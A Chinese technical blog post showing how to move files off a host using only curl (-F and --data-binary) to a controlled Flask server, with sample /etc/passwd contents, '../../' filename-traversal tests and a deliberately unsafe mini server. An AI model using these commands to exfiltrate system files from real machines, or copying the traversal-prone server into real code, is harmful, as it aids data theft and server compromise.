用curl向外传送文件 - scz

admin 2022-10-18 PM 139℃ 0条

目录

☆ 背景介绍
☆ curl -F
    1) "curl -F"所发数据
    2) SimpleHTTPServer.py
    3) SimpleHTTPServer_mini.py
    4) SimpleHTTPClient.py
☆ curl --data-binary
    1) "curl --data-binary"所发数据
    2) SimpleHTTPServer_d.py
    3) SimpleHTTPServer_d_mini.py
    4) SimpleHTTPClient_d.py
☆ 小结
☆ 参考资源
☆ 背景介绍

有时可能碰上用curl向外传送文件的需求,不考虑客户端有nc、perl或其他什么在场的情形,只有全功能curl在场,假设服务端可达、可控。这不是正经需求,我是正经人,所以一直没有碰上过,最近看Offensive BPF时有碰上,临时折腾一下。

☆ curl -F

1) "curl -F"所发数据

在客户端执行

curl -F "file=@some.txt" -F "user=any" http://192.168.95.21:8080/upload

在服务端执行

nc -ln 192.168.95.21 8080 > raw.txt

raw.txt即"curl -F"发送出去的原始数据,如下

POST /upload HTTP/1.1
Host: 192.168.95.21:8080
User-Agent: curl/7.81.0
Accept: */*
Content-Length: 3132
Content-Type: multipart/form-data; boundary=------------------------f3b2ed96520ef46e

--------------------------f3b2ed96520ef46e
Content-Disposition: form-data; name="file"; filename="some.txt"
Content-Type: text/plain

root:x:0:0:root:/root:/bin/bash
...
sshd:x:128:65534::/run/sshd:/usr/sbin/nologin

--------------------------f3b2ed96520ef46e
Content-Disposition: form-data; name="user"

any
--------------------------f3b2ed96520ef46e--

网友「梦里的奇妙冒险」指出,如下命令可指定Content-Disposition中filename字段,使之包含../而不normalize它。

curl -F "file=@some.txt;filename=../../some.txt" -F "user=any" http://192.168.95.21:8080/upload

看man手册,还可指定Content-Type,而非自动识别(本例是text/plain)

curl -F "file=@some.txt;filename=../../some.txt;type=application/octet-stream" -F "user=any" http://192.168.95.21:8080/upload

起初我没去找curl指定filename字段的原生方案,当时用了个歪招,修改raw.txt中filename,同步修改Content-Length为3138,再用nc发送raw_new.txt。

nc -n 192.168.95.21 8080 < raw_new.txt

在Windows上修改raw_new.txt,用记事本吧。顺便说一句,nc有个开关"-C",使得发送CRLF,缺省发送LF。

无需filename包含../,只是测试Python版服务端能否规范化filename。"user=any"无需出现,仅为演示。

2) SimpleHTTPServer.py

下面是配套Python版服务端,接收"curl -F"传过来的文件,支持二进制文件,限制了文件大小、扩展名、存放目录。

#! /usr/bin/env python3
# -*- encoding: utf-8 -*-
#
# cd /tmp
# mkdir /tmp/upload
# python3 SimpleHTTPServer.py 192.168.95.21 8080
#

import sys, os
import flask
import werkzeug

app                                 = flask.Flask(__name__)
#
# 不允许超过1MB,否则向客户端返回413错,会自动检查
#
# 413 Request Entity Too Large
# The data value transmitted exceeds the capacity limit.
#
app.config['MAX_CONTENT_LENGTH']    = 1 * 1024 * 1024
app.config['UPLOAD_FOLDER']         = '/tmp/upload'
#
# 只允许这些扩展名
#
app.config['ALLOWED_EXTENSIONS']    = { 'txt', 'bin', 'jpg' }

def checkext ( filename ) :
    return '.' in filename and filename.rsplit( '.', 1 )[1] in app.config['ALLOWED_EXTENSIONS']

#
# 非必须
#
@app.route( "/" )
def root () :
    return 'SimpleHTTPServer is online.'

#
# 函数名任意
#
@app.route( "/upload", methods=["POST"] )
def upload () :
    while True :
        try :
            file        = flask.request.files['file']
            filename    = file.filename
            print( filename )
            #
            # 不会自动检查app.config['ALLOWED_EXTENSIONS'],只能手工检查
            #
            if not checkext( filename ) :
                ret = 'Unsupported ext'
                break
            #
            # 消掉../
            #
            filename    = werkzeug.utils.secure_filename( filename )
            print( filename )
            filename    = os.path.join( app.config['UPLOAD_FOLDER'], filename )
            print( filename )
            user        = flask.request.form.get( 'user', 'unknown' )
            file.save( filename )
            ret         = 'Upload succeed by ' + user
        except werkzeug.exceptions.BadRequestKeyError :
            ret         = 'Not found file key'
        break
    #
    # end of while
    #

    #
    # 出现在HTTP响应中
    #
    return ret + '\n'

if __name__ == '__main__' :
    app.run( host=sys.argv[1], port=int( sys.argv[2], 0 ), debug=False )
3) SimpleHTTPServer_mini.py

SimpleHTTPServer.py很多代码出于演示目的而存在,如追求短小精悍,可删减。

#! /usr/bin/env python3
# -*- encoding: utf-8 -*-
#
# python3 SimpleHTTPServer_mini.py 192.168.95.21 8080
# curl -F "file=@some.bin" http://192.168.95.21:8080/upload
#

import sys, flask

app = flask.Flask(__name__)

@app.route( "/upload", methods=["POST"] )
def upload () :
    file    = flask.request.files['file']
    #
    # 危险!
    #
    file.save( file.filename )
    return 'Upload succeed\n'

if __name__ == '__main__' :
    app.run( host=sys.argv[1], port=int( sys.argv[2], 0 ), debug=False )

上述代码很危险,客户端提交的filename会危害服务端安全,谨慎使用。

4) SimpleHTTPClient.py

若是富客户端,不用"curl -F"时有许多其他选择,比如

#! /usr/bin/env python3
# -*- encoding: utf-8 -*-
#
# cd /tmp
# cp /usr/bin/ls /tmp/some.bin
# python3 SimpleHTTPClient.py http://192.168.95.21:8080/upload some.bin
#

import sys, requests

url         = sys.argv[1]
filename    = sys.argv[2]
#
# curl -F "file=@some.bin;filename=../../some.bin;type=application/octet-stream"
#
# file_info   = \
# {
#     'file' :
#     (
#         '../../' + filename,
#         open( filename, 'rb' ),
#         'application/octet-stream'
#     )
# }
file_info   = { 'file' : open( filename, 'rb' ) }
other_info  = { 'user' : 'any' }
#
# 除了files,还可以指定headers、cookies等
#
response    = requests.post \
(
    url,
    files   = file_info,
    data    = other_info
)
print( response.text )

☆ curl --data-binary

1) "curl --data-binary"所发数据

在客户端执行

curl --data-binary "@some.txt" http://192.168.95.21:8080/upload

在服务端执行

nc -ln 192.168.95.21 8080 > raw_d.txt

raw_d.txt即"curl --data-binary"发送出去的原始数据,如下

POST /upload HTTP/1.1
Host: 192.168.95.21:8080
User-Agent: curl/7.81.0
Accept: */*
Content-Length: 2850
Content-Type: application/x-www-form-urlencoded

root:x:0:0:root:/root:/bin/bash
...
sshd:x:128:65534::/run/sshd:/usr/sbin/nologin

Content-Length精确对应some.txt的大小。application/x-www-form-urlencoded是这种用法的缺省Content-Type,可以更改。

curl --data-binary "@some.txt" -H "Content-Type: application/octet-stream" http://192.168.95.21:8080/upload
curl --data-binary "@some.txt" -H "Content-Type: application/octet-stream" -H "Filename: ../../some.txt" -H "User: any" http://192.168.95.21:8080/upload

无需Filename、User,仅为演示。

2) SimpleHTTPServer_d.py

下面是配套Python版服务端,接收"curl --data-binary"传过来的文件,支持二进制文件,限制了文件大小、扩展名、存放目录。

#! /usr/bin/env python3
# -*- encoding: utf-8 -*-
#
# cd /tmp
# mkdir /tmp/upload
# python3 SimpleHTTPServer_d.py 192.168.95.21 8080
#

import sys, os, time
import flask
import werkzeug

app                                 = flask.Flask(__name__)
app.config['MAX_CONTENT_LENGTH']    = 1 * 1024 * 1024
app.config['UPLOAD_FOLDER']         = '/tmp/upload'
app.config['ALLOWED_EXTENSIONS']    = { 'txt', 'bin', 'jpg' }

def checkext ( filename ) :
    return '.' in filename and filename.rsplit( '.', 1 )[1] in app.config['ALLOWED_EXTENSIONS']

@app.route( "/" )
def root () :
    return 'SimpleHTTPServer_d is online.'

@app.route( "/upload", methods=["POST"] )
def upload () :
    while True :
        try :
            #
            # 本例只能自己检查大小
            #
            length      = flask.request.headers["Content-Length"]
            length      = int( length, 0 )
            if length > app.config['MAX_CONTENT_LENGTH'] :
                ret = "413 Request Entity Too Large"
                break
            #
            # len(data)必等于Content-Length,假设指定小Content-Length、发
            # 送大data,读取时会被截断
            #
            data        = flask.request.get_data()
            #
            # filename    = flask.request.headers.get( 'Filename', 'random' )
            #
            filename    = flask.request.headers.get( 'Filename' )
            print( filename )
            if filename is None :
                filename    = time.strftime( '%Y%m%d%H%M%S.bin', time.localtime( time.time() ) )
            else :
                if not checkext( filename ) :
                    ret = 'Unsupported ext'
                    break
                filename    = werkzeug.utils.secure_filename( filename )
            print( filename )
            filename    = os.path.join( app.config['UPLOAD_FOLDER'], filename )
            print( filename )
            user        = flask.request.headers.get( 'User', 'unknown' )
            with open( filename, 'wb' ) as f :
                f.write( data )
            ret         = 'Upload succeed by ' + user
        except KeyError :
            ret         = 'Not found Content-Length'
        break
    #
    # end of while
    #

    return ret + '\n'

if __name__ == '__main__' :
    app.run( host=sys.argv[1], port=int( sys.argv[2], 0 ), debug=False )

3) SimpleHTTPServer_d_mini.py

SimpleHTTPServer_d.py很多代码出于演示目的而存在,如追求短小精悍,可删减。

#! /usr/bin/env python3
# -*- encoding: utf-8 -*-
#
# python3 SimpleHTTPServer_d_mini.py 192.168.95.21 8080
# curl --data-binary "@some.bin" http://192.168.95.21:8080/upload
#

import sys, time, flask

app = flask.Flask(__name__)

@app.route( "/upload", methods=["POST"] )
def upload () :
    data        = flask.request.get_data()
    filename    = time.strftime( '%Y%m%d%H%M%S.bin', time.localtime( time.time() ) )
    with open( filename, 'wb' ) as f :
        f.write( data )
    return 'Upload succeed\n'

if __name__ == '__main__' :
    app.run( host=sys.argv[1], port=int( sys.argv[2], 0 ), debug=False )

上述代码不存在filename的危险,但没有限制文件大小,可能消耗硬盘空间。

4) SimpleHTTPClient_d.py

若是富客户端,不用"curl --data-binary"时有许多其他选择,比如

#! /usr/bin/env python3
# -*- encoding: utf-8 -*-
#
# cd /tmp
# cp /usr/bin/ls /tmp/some.bin
# python3 SimpleHTTPClient_d.py http://192.168.95.21:8080/upload some.bin
#

import sys, requests

url         = sys.argv[1]
filename    = sys.argv[2]
headers     = \
{
    'Content-Type'  : 'application/octet-stream',
    'Filename'      : filename,
    'User'          : 'any'
}
with open( filename, 'rb' ) as f :
    response    = requests.post \
    (
        url,
        headers = headers,
        data    = f
    )
    print( response.text )

☆ 小结

不考虑安全风险的情况下,两种最简组合

python3 SimpleHTTPServer_mini.py 192.168.95.21 8080
curl -F "file=@some.bin" http://192.168.95.21:8080/upload

python3 SimpleHTTPServer_d_mini.py 192.168.95.21 8080
curl --data-binary "@some.bin" http://192.168.95.21:8080/upload

第二组在服务端用时间戳当文件名,形如"20221018122537.bin"。

☆ 参考资源
``
https://flask.palletsprojects.com/en/2.2.x/
https://requests.readthedocs.io/en/latest/

标签: scz

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